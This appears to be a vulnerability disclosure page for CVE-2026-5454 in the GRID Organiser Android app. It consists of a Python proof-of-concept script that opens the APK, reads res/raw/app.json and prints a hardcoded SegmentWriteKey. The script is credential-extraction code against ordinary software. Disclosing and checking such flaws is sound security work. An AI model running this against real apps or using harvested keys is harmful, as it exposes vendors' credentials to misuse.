CVE-2026-5454 GRID Organiser硬编码密钥漏洞

# Proof of Concept for CVE-2026-5454 # This script demonstrates extracting the hardcoded key from the APK. import zipfile import json import sys def check_apk_vulnerability(apk_path): try: with zipfile.ZipFile(apk_path, 'r') as z: # Target file containing the hardcoded key target_file = 'res/raw/app.json' if target_file in z.namelist(): print(f"[+] Found {target_file}") data = z.read(target_file) json_content = json.loads(data) # Check for the specific vulnerable argument if 'SegmentWriteKey' in json_content: print(f"[!] Vulnerability Confirmed: Hardcoded SegmentWriteKey found.") print(f" Key Value: {json_content['SegmentWriteKey']}") else: print("[-] SegmentWriteKey not found in the JSON file.") else: print(f"[-] Target file {target_file} not found in APK.") except Exception as e: print(f"[!] Error during analysis: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <path_to_grid_organiser.apk>") else: check_apk_vulnerability(sys.argv[1])